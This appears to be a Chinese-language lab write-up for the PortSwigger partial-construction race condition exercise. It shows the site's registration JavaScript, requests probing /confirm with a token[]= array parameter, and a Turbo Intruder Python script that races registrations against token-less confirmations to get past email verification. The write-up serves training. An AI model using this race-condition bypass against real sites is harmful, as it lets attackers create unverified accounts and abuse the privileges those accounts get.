> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/race-conditions/partial-construction-race-condition.md).
# 部分构造竞争条件
面向 PortSwigger Web Security Academy 实验室的部分构造竞争条件笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 部分构造竞态条件
#### 实验目标
* 该站点提供一种带有 **邮件验证**.
* 一个 **竞争条件** 允许你 **绕过检查** 并使用任意地址注册。
* 最终目标： **创建账户**，登录，然后 **删除用户 `carlos`**.
#### 观察到的上下文（注册）
* 界面侧消息：
尝试使用实验提供的邮箱创建账户 -> 响应：
尝试使用一个符合要求的邮箱，例如 `jordan@ginandjuice.shop` → 答案：
**“请检查你的电子邮件以获取账户注册链接”**.
{% code overflow="wrap" %}
```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```
{% endcode %}
#### 利用分析（资源/users.js）
在 `users.js`，我们看到：
* 注册表单发送 `用户名`, `email`, `密码`.
* 电子邮件确认通过一个 **POST** 到：
* `POST /confirm?token=...`
* 令牌从 URL 中提取并注入到确认表单的 action 中。
结论：验证取决于一个端点 **/confirm** 设置我们的 **令牌** 通过查询字符串传输。
```javascript
const createRegistrationForm = () => {
const form = document.getElementById('user-registration');
const usernameLabel = document.createElement('label');
usernameLabel.textContent = '用户名';
const usernameInput = document.createElement('input');
usernameInput.required = true;
usernameInput.type = 'text';
usernameInput.name = 'username';
const emailLabel = document.createElement('label');
emailLabel.textContent = '邮箱';
const emailInput = document.createElement('input');
emailInput.required = true;
emailInput.type = 'email';
emailInput.name = 'email';
const passwordLabel = document.createElement('label');
passwordLabel.textContent = '密码';
const passwordInput = document.createElement('input');
passwordInput.required = true;
passwordInput.type = 'password';
passwordInput.name = 'password';
const button = document.createElement('button');
button.className = 'button';
button.type = 'submit';
button.textContent = '注册';
form.appendChild(usernameLabel);
form.appendChild(usernameInput);
form.appendChild(emailLabel);
form.appendChild(emailInput);
form.appendChild(passwordLabel);
form.appendChild(passwordInput);
form.appendChild(button);
}
const confirmEmail = () => {
const container = document.getElementsByClassName('confirmation')[0];
const parts = window.location.href.split("?");
const query = parts.length == 2 ? parts[1] : "";
const action = query.includes('token') ? query : "";
const form = document.createElement('form');
form.method = 'POST';
form.action = '/confirm?' + action;
const button = document.createElement('button');
button.className = 'button';
button.type = 'submit';
button.textContent = '确认';
form.appendChild(button);
container.appendChild(form);
}
```
#### 首次尝试与阻断
* 尝试强制进行空确认：
```http
POST /confirm?token=token
```
* 答案： **禁止访问** → 针对空令牌的受保护端点
#### 绕过保护（另一种解释）
新尝试：
```bash
/confirm?token[]=
```
* 答案：\*\*
* 解释：后端不再以 Forbidden 阻止，而是 \*\*处理该值\*\*（但表明它是一个数组）。
#### 计时观察
* 该 **注册** 请求更慢：
* /\~ **199 毫秒**
该 **确认** 请求更快：
* /\~ **78 毫秒**
思路： **轰炸** `/confirm?token[]=` 在账户创建的窗口期间，触发错误时机的确认
### 利用
#### 方法 1 — Intruder（竞争）
1. 将 `POST /confirm?token[]=` 请求发送到 Intruder。
* 配置为以 **竞争请求** 的方式发送（例如 10 个）。
* 在此期间，从 Repeater（或浏览器）创建多个账户：
* `test1`, `test2`, `test3`,... `test7`
检查 Intruder 的响应：
* 其中一个响应最终返回 **200**
尝试使用测试账户登录：
* 观察到成功（例如 `test2`).
#### 方法 2 — Turbo Intruder（竞态单包攻击）
1. 选择一个请求并发送到 **Turbo Intruder**.
* 选择 **竞态 / 单包** 攻击。
使用此脚本：
脚本原理（在此处的应用）：
* 文件 **多个注册** (`lol0..lol19` 用户）
* 请求 **多个确认** (`/confirm?token[]=`)
* 打开闸门以触发竞态条件。
```python
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0
'''
gate_name = "race1"
for i in range(20):
username = "lol" + str(i)
engine.queue(target.req, [username], gate=gate_name)
for j in range(50):
engine.queue(confirmation_email, [], gate=gate_name)
engine.openGate(gate_name)
def handleResponse(req, interesting):
table.add(req)
```
#### 预期结果
* 至少会创建一个账户 **仿佛电子邮件已被确认** （无需拥有令牌）。
* 随后你可以用这个账户登录，再利用账户功能达成实验目标（删除 `carlos`).
---
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